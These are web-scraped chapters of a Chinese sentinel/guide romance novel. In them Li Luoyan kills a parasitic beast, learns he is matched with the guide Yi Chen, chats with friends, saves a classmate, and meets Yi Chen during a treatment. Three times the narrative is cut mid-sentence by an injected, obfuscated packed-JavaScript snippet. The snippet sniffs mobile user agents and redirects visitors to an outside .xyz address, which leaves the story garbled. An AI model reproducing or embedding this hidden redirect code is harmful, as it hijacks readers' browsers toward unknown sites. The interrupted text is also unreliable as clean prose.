那生物每移动一寸,囚犯的痛苦就增加一分,嗓音像是漏风的破手风琴那样沙哑难听,已经说不出任何有意义的话语了,能发出的只有因痛苦而本能呼出的声音。 黎珞言手很稳,不受影响地枪口上移,直直对准地上不住扭动的那人的眉心,他没犹豫,也没在意一直在剧烈晃动的目标,眸光专注。这时距离他开的第一枪仅仅只有两秒间隔,他再次扣动了扳机。 仍然是直中目标,分毫不差。 地上那人失去了生息,大睁着的血红眼睛却显出一丝解脱之意。 黎珞言眼皮轻垂着,看着死人仍大睁着的眼睛,嘴唇小幅度地动了动,口型是在说“安息。” 异兽仍在往外爬,它试图抓紧时间逃离这一块危险的地方。于是鼓足了劲爬出它所寄生的人类身躯。 它的移动速度极快,如今只是被人类的躯壳阻滞了速度,但只要它爬出去,只要整个身体都离开了寄生体,它就能…… “砰——” 审讯室里响起的第四声枪响。 ……活下来。 异兽死了。 刚离开寄生体还没来得及窃喜的异兽被子弹射穿了躯体。丑陋的、仿佛多种不明生物杂交而成的躯体,因体态小而具有灵活、移动速度快的特点。 但此刻在黑发哨兵的枪下却失去了自己引以为傲的优势,在自己最擅长逃跑的这一领域被准确无误地击中。 异兽低吟了几声,被击倒在地上。 正如齐泽所想,黎珞言作为联邦军校的一年级新生,和异兽接触确实算不得不多,实战经验也少得可怜,因此他不太确定一枪能不能让异兽死透,沉着眸又补了几枪。 玻璃墙消失。 执政官慢步从那边走了过来,蹲下身将异兽尸体收进了储物戒里。 寄生物,即异兽,只有在离开感染者后才能被收集,一旦死在了感染者身体里,由于某种自我保护的机制,很难获取到全尸,也就不便于后续的研究。 黎珞言就是出于这个原因才等异兽全身出来后才开枪一击毙命。 黎珞言看着他的动作,等他走过来时把手枪抵还给了他。深棕色的训练服上被沾上了部分猩红的血迹,干涸在了上面,他垂着眸,安安静静地看着自己脏了的衣服,皱了皱鼻子。 执政官关闭了连通那个房间显示屏的监控,接过枪后,这才看向黎珞言,问道:“你没有要问我的吗?” 黎珞言眼睛眨了眨,室内无风,他的头发却在很轻地晃动,半晌,他诚实地摇了摇头。 看着不复方才果断利落解决感染者时的冷静沉稳,反而神情很懵,眼神清澈又茫然,活像是意外闯进审讯室的。 执政官按了按额角,本来想说些什么,但看着他这副什么都不在意的模样,话又都被咽了回去。 他抬手按了按哨兵蓬松的黑发,压扁了点,等他收回手,就看着头发又恢复了原状——嗯,像记忆棉。 黎珞言不懂他在做什么,但是在和他对视上后,下意识弯起眸子,握枪时那股自然带出的狠劲冷戾完全散尽了,弯成月牙似的绿眸只余一片澄澈干净。 执政官敛眸,率先移开了视线,没有和他一直对视下去,淡声道:“走吧。” 只是他们还没走出去,门已经被大声敲响了。 “咣咣咣!”不像是在敲门,倒像是上门讨债的。 混账得不行。 执政官拧了下眉,瞬间就猜到了外面不断敲门的是谁。刚打开门,身边就掠过一道风。他还没回头就听见身后骤然响起的声音。 “你没事吧梨子。” 黎珞言看见奚元过来了,明显放松了不少。整个人也不紧绷着了,有点像蔫趴趴的小白菜,站没个站样地靠着身边的人,打了个小小的哈欠:“有点困,算不算有事。” 两个人就跟上课说小话开小差的学生一样,旁若无人地又开始讲话了。 直到执政官扭过头看向他们,这俩人才双双噤声,两双眼睛默契地纷纷看向执政官,表现出很配合很听话的模样。 奚元似乎才意识到自己不打招呼就冲进来的行为有多没礼貌,于是扬起嘴角强行憋出一个他自认为很有礼貌的笑。 执政官也知道他的秉性,懒得和他掰扯,直接看向黎珞言,对上那双澄澈的绿色眸子,他眸光微暗,淡声说:“你的匹配结果出来了。具体信息我已经发到你的终端上了,有时间的时候看看。” 黎珞言微微睁大了眼睛,意识到话语中的内容后,他眼睛亮起来,像是镀上一层亮闪闪的太阳碎光。 马上就低下头找到终端查看父亲发给他的信息,嘴上应付似的“嗯”了两声应下。 他迫不及待的模样让旁边的奚元忍不住撇了下嘴,舌尖抵了抵牙,停顿几秒后拖着他就往外面走,语气正儿八经的:“有时间再看!你急什么。” * 关于哨兵与向导的匹配机制向来是以自愿为原则的。每轮匹配开始前会先经过个人同意,同意后,个人信息才会进入到信息库中,匹配系统会综合考虑年龄、匹配度等多种因素进行配对。 而一轮匹配结束过后,新一轮匹配又会重新征求意愿,直到适龄的哨兵向导进行婚配过后,才会停止入库意愿的询问。 结束了一天无聊又催眠的理论课程,黎珞言像被抽去了精力,趴在桌上,懒懒散散地划着终端开始看匹配对象的资料。 除了一开始知道这个消息时的开心之外,过了几个小时,黎珞言的热情就随着时间过去了。他看着一长串的文字,又开始犯困。 为什么个人资料上连图片都不放一张的啊。 黎珞言眼皮一张一合,重复几次后安然合上了。他手臂一摊枕在胳膊上,眼睛一闭就睡着了。 “梨子。” 黎珞言迷迷瞪瞪地听见了有人在叫他,接着肩膀被拍了拍。他挣扎着睁开眼睛,眼里还泛着雾气,看人时都像是蒙了层柔光滤镜。 “你听说了吗?白塔那个最难搞的向导和你匹配上了!听说他一个能打十个哨兵!” 黎珞言嘴比脑子快,很认真地“嗯嗯”了下,然后使劲眨了眨眼睛,睡迷糊的意识终于回笼。 他侧过头趴着,看着坐在了自己旁边位置的高马尾女生,理所当然道:“这种消息我当然是第一个知道的啊。” 说这话时他还有点小骄傲的意思。 尹惟眉梢微挑,没说什么,只是笑吟吟地往后躺了躺,倚在椅背上。 刚从教室门口进来的奚元刚好听见,琢磨了一下,捕捉到重点:“等等——你说,白塔最难搞的向导?” 黎珞言经他这么一强调,也才意识到这点,慢吞吞地直起了身子,跟着重复一遍:“白塔最难搞的向导?” 一整天的课都结束了,基本大家都走了,此刻教室里就他们三个还在。奚元就出去洗了个手,一回来发现自己的位置被尹惟给占了,腿拐了个弯坐到了尹惟的位置上——黎珞言的后座。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496414|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 把黎珞言的椅子往后边扯了扯,还不忘抱怨一句:“干嘛坐我的位置!” 尹惟嗤道:“你座位镶钻了不成?坐一下还得请示你?” 她漫不经心地转着笔,回答起上面那个问题:“去白塔官网上查一查就知道了,打架斗殴上了好几次官网,履历还蛮辉煌的。” 她看见黎珞言低着头在看终端,视线忽地扫到终端的内容上:“你在看他的个人信息吗?” 黎珞言点点头,他划来划去也没看见这上面有写那位向导的违规记录。 奚元忍不住好奇心,伸着脖子凑过去看,念个名字像是很耗费力气似的,皱着眉念道:“易谌(shen)。” 空气安静了几秒,黎珞言和尹惟同时看向了他,看得奚元都有点不自在了。 黎珞言抿了下唇,说话慢吞吞的,认真纠正道:“易谌(chen)。” 奚元被他看得都快要忍不住觉得自己文化水平不够了,连忙清嗓为自己正名:“咳咳!我当然知道!” “哈哈哈哈!”尹惟没绷住笑出了声,笑得连肩膀都跟着抖动起来。 “……打住!”奚元故作镇定,做了一个停止的手势,被嘲笑了之后脸快要像发色那么红了,匆忙转移话题,看向尹惟,“你还是没说‘最难搞的向导’是怎么回事?你怎么知道的?就连个人信息这里都没有写啊。” 黎珞言也好奇,趴着脑袋看她。 “谁会把违规记录往个人简介上填啊?”尹惟按了按额角,有点无语。右手轻拍了拍桌子,“你们谁带电脑了,我来查。” 黎珞言向来是背包里多装了一本书都嫌累的人,理直气壮摇了头。他直着身子坐了一会儿又累了,本来是转着身子方便和后桌的奚元说话,此时就直接趴在了后桌上。 尹惟看他眼睛又快闭上了,后仰着低头看了眼奚元的桌框,果不其然看见了一瓶还没开过的冰水,她毫不见外地从里面抽了出来。 矿泉水的瓶身凝着一层水汽,明显是从冰柜里拿出来不久,她笑眯眯地将瓶身贴在了黎珞言的脸上,把人冰得瞬间就睁开了眼睛。 黎珞言抿着嘴巴,极小声地哼了两声,才勉强接过罪魁祸首给的水。 顺手就用单手开了盖,仰头猛灌下一口,冰凉的触感顺着喉腔流下,他整个人总算清醒了不少。 尹惟笑道:“好了,你的嘴巴现在翘到可以钓起一条鱼了。” 才没有。黎珞言在心里悄悄反驳。 奚元正好把自己包里装的电脑拿了出来,推到了她面前:“诺。我带了。” 电脑盖被掀开,尹惟把屏幕往下掰了掰,以便他们都能看见。 开机密码…… 尹惟完全没有思考,她熟稔地在奚元的电脑里输入了黎珞言的生日,成功开机。 登入浏览器,输入白塔官方网址,再输入关键词“易谌”。 尹惟找到通报批评的那几条信息,做了标注,顺手建了一个新文档,把信息汇总了一下,这才示意他们看。 半晌没听到回应,她抬头看去,发现这两人居然在往矿泉水那小小的瓶盖里倒水。 ……这么幼稚低质的游戏居然能从小玩到二十岁吗?? 这种“一人倒一次,谁倒的时候溢出来谁就输了”的小游戏,尹惟看得眼皮都在跳。 “我说你们——”尹惟看着形成一个凸状的小水球,看起来下一秒就要溢出来了,盯了好一会儿,在他们即将交递水瓶时出声道:“我找人带到你们宿舍的核桃你们吃了吗?” 5. 第 5 章 核桃……? 黎珞言歪过头去看她,点点头说:“吃了。好吃。” 尹惟:…… 对方肯定了你送的核桃的美味,并且完全没意识到核桃补脑的内涵。 奚元恍然大悟:“原来是你送的啊。我一开始……” “他一开始还想扔出去,”黎珞言懒懒地伸出根手指点了点奚元,正大光明告状,一边眨巴眼睛暗暗邀功,“还好我及时阻止了。” “哇塞,”奚元说,“你还不是因为嘴馋。” 而且为了验证那箱来路不明放在宿舍门口的核桃有没有问题,他可是吃了一个确定没中毒之后才放心让黎珞言吃的……好没良心的。 黎珞言伸出的那根指头收回来慢吞吞挠了挠脸,说话慢悠悠的:“浪费粮食不好啊。” 尹惟表情气愤:“……送去的人没有说是我送的吗?” 得到“没有,放在宿舍门口就走了,连字条都没留一张”的回答后,尹惟更生气了。 她右手砸在桌上,俨然一副要找人算账的模样:“我偷偷摘的我家院子里的!好不容易才摘了一箱,差点就被发现了。” 冒着这样的风险,居然最后还失去了署名权!谁为她发声! 黎·支持维权·珞言舔了舔嘴巴,像是回味起美味核桃的味道:“那很好吃了。” 奚·说风凉话·元:“那你找的这人还怪不靠谱的。” 尹惟:……可恶! 插科打诨一会儿之后,尹惟记起正事,把电脑屏幕又往下压了压,让他们都能看见上面的内容。 正色道:“易谌,进白塔才一年不到的时间,和我们算是同期生吧。打架记录已经累了好几条了,我就没见过性子比这还差劲的。我问了好几个白塔的朋友,说这人对谁都冷脸,向导也打哨兵也打……最辉煌的事迹就是,一个人干了十个哨兵,直接上了白塔的通报墙。” 她回想了一下那些人义愤填膺的控诉,总结道:“就是一个孤僻又独狼的向导。” 黎珞言还没对自己的匹配对象的事迹发表什么感言,奚元率先发问:“那他怎么还没被开除?” 尹惟扶额:“不论是联邦军校还是白塔,都是非常看重学生个人实力的。他和梨子的匹配度达到了百分之九十六,你觉得他的精神力可能是s级以下吗?” “就单说他单挑十个哨兵这事吧,从道德层面来说值得谴责,但话又说回来,战斗水平挺高的。” “但我觉得……”尹惟轻轻垂下眸,眉头皱着。 以执政官对梨子事无巨细的关心程度,最后的匹配结果一定是经过他过目的。所以为什么他会让梨子和这样一个似乎有暴力倾向的向导发展? 奚元不以为然:“实力能有多强?白塔的首席不是一直是温暻没变过吗?他难道能到那个水平?” “不一样,温暻是治愈型向导,但易谌他……是攻击型的。” 尹惟按了按额角,她真心有点为黎珞言担忧了,“他的精神体是蛇啊。我第一次知道向导的精神体也可以是这种东西的!” 蛇? 黎珞言慢吞吞地发着呆。蛇很可爱啊。 电脑突然跳出一条消息:奚哨兵您好,已为您匹配到合适的对象,有深入了解的意向可添加联系方式~祝相处愉快喔~ 这条信息跳出来的时机太好,一时间三人都看见了,空气都安静了几分。 黎珞言原本百无聊赖的心情稍微被激起了一点兴趣,好奇问道:“你也去匹配了?” “啊……呃。对。” 事实证明,人在尴尬的时候会很忙碌,奚元整个人快要红温了。 一把抢过鼠标后匆忙地点小叉号,结果一个手抖反而点进了匹配库当中。 黎珞言凑近看,惊讶道:“这轮匹配居然有这么多人吗?” 他还在上面看见了温暻的名字。按理来说,温暻已经是白塔首席了,怎么还需要靠匹配系统分配呢? 尹惟笑了笑,没有说出那个显而易见的原因。她没和奚元来一场鼠标争夺战,而是把手放在了电脑的触摸板上,滑动着点开了温暻的匹配资料。 似是发自内心的,对着黎珞言说:“好遗憾。你和温暻的匹配度是百分之七十九。” 黎珞言倒没这么觉得,他一向觉得一切自有安排,随便怎样都可以啦。 于是弯起眼笑道:“温暻哥吗?他肯定不用担心匹配对象的事……” 他忍不住打了个小小的哈欠,眼睛快闭上了,继续说:“等我有了对象之后,就不用再麻烦温暻哥给我做精神疏导了……这么一说,我突然觉得我真的有点过于频繁地找他了。他肯定觉得很辛苦……” 黎珞言抿了抿唇,睁开眼睛没几秒,眼皮又耷拉下去,没精打采的。 尹惟弯唇笑起来:“苦中作乐。” 奚元整个人还在红温,连两人的对话都没听清,但下意识就接了句:“乐在其中。” “中……”黎珞言皱了皱鼻子,没想出来。 他拖长了尾音,嘴唇微张,圈成一个小圆。似乎是在认真思考成语,但表情已经明显是心不在焉了。 他手里抓着矿泉水瓶,漫不经心地晃了晃,然后将瓶身贴着脸,一双漂亮的绿眸盯着随便一处就开始走神。 后面没说上几句,黎珞言就又打了个哈欠,眼里晕了层薄雾,看着人时像是强撑着保持清醒。 把尹惟看得都有点于心不忍了,笑出声,轻轻拍了拍他的肩:“困了就先回去睡觉吧。” 黎珞言点点头,仰头把最后一口水喝光了,盯着空瓶子停顿两秒,然后试探性地推给了奚元。 奚元不知道在想什么,也没反应,下意识地就把瓶子接过了。 耶。有人帮忙扔垃圾了。 黎珞言弯了弯眸子,咬了咬舌尖才把唇角抑制不住的笑容压住,慢吞吞说了一句“我先回去了”,起身离开了教室。 尹惟撑着头,笑眯眯地和黎珞言挥手道别,等到彻底看不见他人影了,她才又转过头来,看向心不在焉的奚元。 她突然说:“哨兵和哨兵之间的匹配度一般是多少啊?我还真挺好奇的。” 奚元没有看她,反而视线一直盯着空荡荡的矿泉水瓶,眼皮垂着莫名显得有点凶,红发盛气凌人:“我怎么会知道?” “哦——”尹惟拖长了尾音,笑道,“就当你不知道吧。” 她把自己的书收拾了一下,背上包准备回宿舍,还没出门口就听见身后的人沉闷的声音。 奚元说:“至少不是百分之零。” 她的脚步微顿了一下,很轻地侧了下头,奚元仍低着头看着空空如也的矿泉水瓶像在发呆。 “嗯,至少不是百分之零。” 尹惟停顿片刻,回道。 看在两人这么多年的交情上,她最后还是没说出什么伤人的话来。 还是鼓励鼓励吧,怪可怜的。 * 联邦军校的课程分为理论课、实训课和实践课三类。 黎珞言继在理论课上睡觉,旷了实训课在宿舍睡觉之后,终于被提溜去实践课了。 对抗异兽这种事主要是军队的人负责。军校生作为将来会上战场的学生主要起到一个观众的作用,顺便在清理战场的时候做一个打下手的辅助。 联邦军校开启这种课程是为了锻炼一下在校学生的心理承受能力,不至于将来上战场碰见异兽两眼一抹黑,直接晕倒变成伤患,拉开敌我差距。 异兽的叫声和人类很不一样,它们发出的声波是人类听不懂的频率,只有依靠特殊仪器才能识别。但据特殊仪器分析后得出的结论是,异兽并不具备神智,说出口的语言大多是无实意的咿咿呀呀之类的话。 哨兵的精神体多是大型猛兽,战场上的战况十分血腥凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496415|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残。残留在口腔尖牙上的血肉,染红一片土地的暗沉血液,嘶吼声和哀鸣声混杂在一起。 这就是污染区的常态,越深入,异兽群体的力量就越强,相对来说越难解决。 为了保障学生安全,联邦军校的实践课向来是安排在污染区的最边缘,在这片区域,哨兵对异兽几乎是碾压般的压制。 “这是污染区。”一个面色严肃的老师走了过来,敲了敲桌子。 正埋着头吃小蛋糕的黎珞言舔了舔嘴唇,舌尖把奶油卷进嘴里,才抬起头。他看着古板严肃的老师,用所有的聪明才智思考了一下老师的言外之意。 ——没思考出来。 于是只能对字面意思表示赞同,点点头肯定了这里确实是污染区。 奚元以拳掩唇,尴尬地不想抬头:……完蛋,被抓包了。 黎珞言自认为十分配合,仰着脑袋,绿眸水亮地望着人,等着他继续说话。但在那个老师看来却更像是挑衅。 当实践课是来旅游的吗?观摩战斗还吃上零食了??挨了训也不赶快把吃的收起来,居然还敢瞪他? 古板老师哼出一声,把人劈头盖脸训一顿之后,当即发配俩人去收集尸体了。 在战后场地上,奚元一吸气,闻着的就是异兽尸体的臭味和血腥味混杂在一起的气味。想深呼吸平复心情都只敢呼不敢吸。太阳还很大,把死物晒得更难闻了。 他拧着眉,把异兽尸体收进储物袋里,最后这些尸体会由军部集中处理。 在清扫战场的工作中,收集尸体是最不受欢迎的工作,其他和这比起来都还好,毕竟不用闻那让人头疼的臭味,那气味难受得就跟精神污染似的。 奚元边捡尸体边忿忿不平地说:“那老古板怎么回事!没招他没惹他,过来就骂人!我好端端坐在那儿,什么也没做,居然说我在划水摸鱼??我是在认真学习格斗技巧好吧!又不是做了什么违规的事!难怪所有人都讨厌上他的课。” 黎珞言皱皱鼻子,补充道:“我也只是吃了一个蛋糕。而且还没吃完……” 刚说完,奚元就拿手肘轻轻撞了他一下,见他茫然看过来后,义正言辞:“梨子,你最该好好反省一下。” 黎珞言眨眨眼睛,懵道:“我怎么了?” 他是真的没觉得自己有什么问题。 奚元道:“你看着这么一副场景还能吃得下东西,他肯定觉得你在发呆,没认真看。” 黎珞言实话实说:“我胃口好啊。” 奚元看着他沉默了几秒,不得不承认:“那是挺好的。” “啊!!!” 不远处突然传来破音的尖叫声。 两人的话戛然而止,黎珞言下意识扭头看过去,注意到那边的情况时眉心皱起。 刺眼的阳光映在眼底,在宝石绿的眸中折出一道锐利的冷芒。 * 不远处。 几个穿着联邦军校训练服的哨兵任劳任怨地清理尸体。 一个人突然想到:“欸,你们说这些异兽会不会没死透,突然爬起来啊?” “……不可能吧。” 旁边那个卷毛哨兵呲着牙笑,又敛了笑,以一种故作深沉的语气:“可能性非常低,但不为0。” “哈哈哈哈。那得是多惨的倒霉蛋才会遇上啊。” 几个人被这个从未发生过的猜想逗笑,笑成一团,一边插科打诨,一边丝毫不认真地收集异兽尸体。 卷毛哨兵蹲下身子,伸出手准备将尸体收进储物袋里,一边扭过头和旁边人说笑,完全没有注意手下的情况。 直到面前人的脸色突然凝滞,瞪大眼睛,从喉咙挤出两个字:“小心!” 他条件反射回过头,对上一张张大了的血盆大口,他清晰看见张大的不规则牙齿间还粘连着血沫,面色陡然苍白如纸。 “啊!!!”喉咙口溢出惨叫。 6. 第 6 章 地上晕了一大片干涸的血迹,长相怪异可怕的异兽“死而复生”,似乎是拼着最后一口气张大了嘴。 卷毛眼眶瞪大,瞳孔缩小,他无比清晰地认识到异兽试图将他,一个弱小且无力反抗的人类,一口囫囵吞下,作为一种恰到时机的补给。 他这时候忽然开始胡思乱想,或许,人在濒死的时候确实是会完全失去行动能力的。 卷毛整个人瞬间失力坐在了地上,脸色苍白,直愣愣地看着那只突然奋起的异兽“尸体”,红黑色的血口瘆人,几乎要将他整个人包裹在内。 ……怎、怎么办?他真的要死在这里了吗? 突然,眼里映入一点金色的光,像是刺破黑暗的曙光。卷毛睁大了眼睛。旋即,那缕金光越来越亮,范围越来越大,直到占据了整个瞳孔。 属于小动物的暖洋洋的味道瞬间冲散了腐烂的腥臭,鼻腔里涌入温暖清新的气息。 卷毛哨兵突然感觉自己好像又活过来了。 他艰难地大睁着眼,看着巨大的金毛狮子以一种极为震撼的速度冲进视线,随即张开口将异兽一整个吞入腹中,以一种胜利者的姿势踩在了地上,蓬松漂亮的金毛沾上了一点脏污,但这完全不影响它的英姿。 金毛狮子昂着巨大的脑袋,似乎注意到了附近还有一个小卡拉米,于是扭过头,一双宝石般碧绿的兽瞳居高临下地望着他。 卷毛哨兵仍保持着摔坐在地上的姿势,反手撑着地,仰着头看它。太阳太刺眼了,他其实不太能看清狮子的全貌,而且这样仰着头看,太阳刺得他眼睛都发酸发胀了。 眼前的金毛狮子好像一点点变小了……眼睛被晒出错觉了吗?救命。 他眼睁睁看着金毛狮子缩小到了手掌大小,然后跳上了另一个人的掌心。于是他的视线也跟随着转了过去。 ……逆着光,看不清楚。 突然,眼前伸出了一只手,是狮子的主人伸出来的,手指白皙纤长。 卷毛喉结滚动咽了口水,手抖得跟筛子似的,刚想搭上去,就被人拽着后领提了起来。 被太阳刺了好半天的眼睛酸胀得不行,他一眨眼睛,眼泪就掉了出来。 但他没工夫管眼泪,也没工夫管谁拽他后领子了,只一脸专注地望着面前的哨兵,像相亲似的赶忙理了理训练服的外套,紧张地差点咬到舌头:“你好!我、我叫常西!” 声音还发着抖,俨然说话的人还没有完全从方才的惊吓缓过神来。 “是你啊。哦,那天谢谢你的飞行器了。” 奚元上一秒沉着脸把人拽起来了,下一秒脸色稍微好了些,双手环抱着,显然是记起了这张脸。 这不就是那天他赶着回宿舍叫梨子起床时慷慨赠送飞行器的好心人吗。 他查了,那还是款限量版的飞行器,这人随口就送出去了,财大气粗啊。 奚元还是有点拿人手短的意识,脸色也没刚才那么差了,特别是注意到面前这位哨兵都被吓哭了,张了张嘴,还是闭上了,没好意思再说些什么刻薄的话。 常西脸长得幼,看上去还真不像联邦军校的,倒像是误入污染区的倒霉中学生。 他也根据那一头火焰似的红发认出了奚元,和他点头示意之后便又看向了救了他的黑发哨兵,眸光专注而炙热:“你好……我能问问,你叫什么名字吗?” 眼前的黑发哨兵看着有点冷,脸长得又俊又帅,一双眼睛和他的精神体如出一辙,好看得不行。此时正垂着眸,轻轻给手掌里的毛茸茸顺着毛。 常西的心脏跳得飞快。他突然又开始反思自己是不是问得太突兀了,会不会冒犯到了对方。 奚元看着黎珞言的脸色有些不好,他抬手用手背贴了贴黎珞言的额头,微微有点发烫。于是很担心地低声问:“没事吧。” 黎珞言紧抿着唇,唇色被他抿得都泛红了。他摇摇头表示问题不大,又看向常西说,回答了他刚才的问题:“我叫黎珞言。” 说完后,他眉头皱起,似乎是身体难受,小声地跟奚元说了句什么就离开了。 奚元还是不太放心地盯着他的背影。 常西也紧紧盯着他离开的背影。 原来,他就是黎珞言…… 下一刻后背就被硬木板狠狠砸了一下。他疼得龇牙咧嘴,气道:“谁砸小爷!” 一转头就看见沉着脸的老师,立马泄了气,低下头老老实实喊了声:“严老师。” 奚元看见这个害自己来打扫尸体的老古板就心烦,索性别过头去装没看见。 严弥正值壮年,其实并算不上老,但一身古板陈旧的气质总让人觉得他应该是上上上个世纪的人了。 他是被常西那几个同伴喊来救援的,那几个人找到他时说话都语无伦次的,眼泪都快飙出来了,但好歹是让他一瞬间意识到了事情的严重性,用最快的速度飞速赶来了。 想到这里,严弥面色严肃,手里拿着打人用的硬木板,一字一句地说:“我强调过无数次,实践课并不是游戏。你们把清扫战场当作玩笑吗?真正的战场比这更危险,你们也能当玩笑吗?” “平时一个个嘻嘻哈哈、吊儿郎当的就算了,毕竟都是一年级的新生。但你们就连现在也一点战斗素养也没有吗?” 在他的威压下,一时间没人敢说话,尤其是刚刚才死里逃生的常西。 严弥的脸色越说越黑,他简直觉得这届一年级的新生是不是脑子都有问题:“我想理论课的老师是说过,遇到危险了第一时间向老师求助。但不是说异兽下一秒就要把你们的同伴吞下去了,你们还要跑到营地来找我!说严重点,你们这就是逃兵行为!” 面前的学生头越来越低,现场安静得连呼吸声都放得极轻。 他审视的目光扫过在场的所有人,看了看平安无恙的常西,又看了看后方的异兽尸体,停顿片刻后,问道:“没死透的那只异兽最后是谁解决的?” 是天降神狮! 常西的眼睛都亮了起来,应话前下意识回头看了一眼,看见空荡荡的一片土地,一时间忍不住暗暗咂舌,甚至在想到当时的场景时起了一身鸡皮疙瘩。 嘶,连尸体渣都没了。 他终于知道联邦军校论坛里为什么要说黎珞言是神了…… * 话题的主人公此时正在营地里边。 黎珞言捧着金毛小狮子进了洗手间,走到洗手台前开始给毛脏了的小金毛洗毛上沾染的脏污。 洗着洗着,身体一阵难受,头也开始发晕,黎珞言迅速腾出只手撑在洗手台前支撑住身体。 湿哒哒的小狮子望着他,旋即低下头蹭了蹭他的手心,像是在安抚主人。 黎珞言抿着唇,难受得眉心紧蹙,严肃批评它:“厄斯,你不能什么都吃,知道了吗?” 精神体和主人在一定程度上是共感的。厄斯生吞了那只异兽,反应到黎珞言身上的就是全身难受,特别是胃,火烧一样难受。 他难受时并不会表现得很明显,只是很没有精神,像颗蔫趴趴的小白菜。但他平时放松下来也总是没精打采的,因此看不太出来。 小狮子似乎是意识到错误了,“嗷呜”“嗷呜”叫了两声,又贴着主人的手心蹭了蹭,撒娇似的。 黎珞言检查它身上的毛洗干净了之后,把它收了回去。 他撑着洗手台,半垂着眸。……不行,必须得找个向导给自己做个脑域污染的浅层清理。 黎珞言当机立断在终端上约了诊疗室,打听了去诊疗室的路后,乖乖坐在了门口排队。 像这种污染区内部设立的营地,诊疗室都是供不应求的。所以约诊疗室只能约随机不能约指定,只要哪边空了就进哪边。 谁也不知道给自己做诊疗的向导是谁。 黎珞言靠在椅子上,半仰着头闭目养神,突然,他的终端响了下,是排到他的号了。 他鼓了鼓腮,缓缓吐出一口气,难受得脸上做不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496416|170215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一点表情,惨兮兮地进了亮灯的诊疗室。 直到坐在了凳子上,他才有精力抬起头看一看给自己进行疗愈的向导。 刚一抬头就正巧和对面的向导对上了视线,黑得透不进一点光的眼珠看着人时隐隐显出几分阴冷的鬼气。 不知道为什么,黎珞言总有一种对方好像一直在盯着他看的错觉。而且,进了这间诊疗室,他莫名感觉浑身凉飕飕的,就像开了制冷效果超好的空调一样。 即便难受成这样了,黎珞言还有心思发散性地想,出去前一定要问问是哪一家的空调制冷效果这么好,他要偷偷安在宿舍里。 “黎珞言,是吗?”向导念出他的名字,嗓音冰凉,特别是在念他的名字时咬字莫名很重。 清醒时的黎珞言都听不出这种细微的差别,更别提是现在难受到不想动弹的他了。 黑发绿眼的哨兵一进了门便整个人趴在了桌子上,闻言缓慢地眨眨眼睛,然后像是反应过来了,点点头,说话也慢吞吞的:“你好,我现在很难受,我的精神体吃了不该吃的东西,我的头好晕,身体也没劲。” 其实他从来没接受过这种预约式的精神疏导。由于个人体质的原因,他对向导素的需求比其他哨兵要高,所以一直以来他接受的都是温暻的单人疏导。 如果不是因为厄斯乱吃东西,他也不至于难受到需要临时找向导做精神疏导…… 黎珞言并不清楚预约到诊疗室之后的具体流程应该是怎样的,他想着应该就和到医院看病是一样的,于是一个字一个字地往外蹦。 难受的人说话都是很没有逻辑的,但黎珞言已经竭尽全力表达出自己的意思了。 对面的向导冷淡地嗯了一声,表示听见了。 黎珞言发呆的时候会开始想别的事情,想着之前接受疏导的事情,又看着对面的向导一动不动。 他记得温暻每次做疏导都会握住他的手,于是想着在预约式诊疗室里,自己是不是应该主动一点,节约时间…… 黑发绿眸的哨兵歪着头趴在臂弯上,右手手臂慢慢伸出来,指尖慢吞吞地、向着向导搁在桌上的手够去,刚要碰上,就见面前的手迅速往旁边移开了。 黎珞言动作一顿:“……?” 他疑惑地看着对面的人,语气真诚:“不牵手吗?” 向导:“?” 他半眯起眼睛,像是在笑,但仔细看过去,眼里又没有笑意:“你认出我了?” 话音刚落,他就看着对面的哨兵手肘撑着桌子朝他俯了过来,很近的距离,近到他似乎都能嗅到哨兵从内而外散发出的那种暖洋洋的香气。 他的睫毛剧烈颤动了一下,却没有躲开,轻微仰着头,一双深黑色的眸子不偏不倚和面前的哨兵对视着。 呼吸在这一瞬交缠、勾连,以这样一个距离——这样一个对陌生人来说过于亲密的姿势。 然后他看着哨兵眨了下眼,澄澈的绿眸里满是茫然。 “我不认识你啊。”哨兵说。 “……” 同样是来上实践课的向导垂下眼,终于意识到面前这人凑这么近只是为了近距离观察他的脸是不是见过的面孔。 易谌没有要说破自己身份的打算,他平静地看着黎珞言重新坐回了凳子上,又像没骨头似的趴在了桌子上。 他盯着看上去还有点懵、不在状态的黎珞言,淡声道:“精神疏导不需要肢体接触。” 黎珞言似有所悟地点点头,垂着眸看了看自己的手。 看了一会儿后,他又开始走神,视线飘到对方的手上,忽地注意到对方的手上戴着一个黑色手环,好奇心十足地仔细观察了好一会儿,直到那个手环突然吐出一条细长的猩红舌头,黎珞言眼睛睁大了点,才恍然意识到这是一条蛇。 为什么把蛇戴手上呢……? 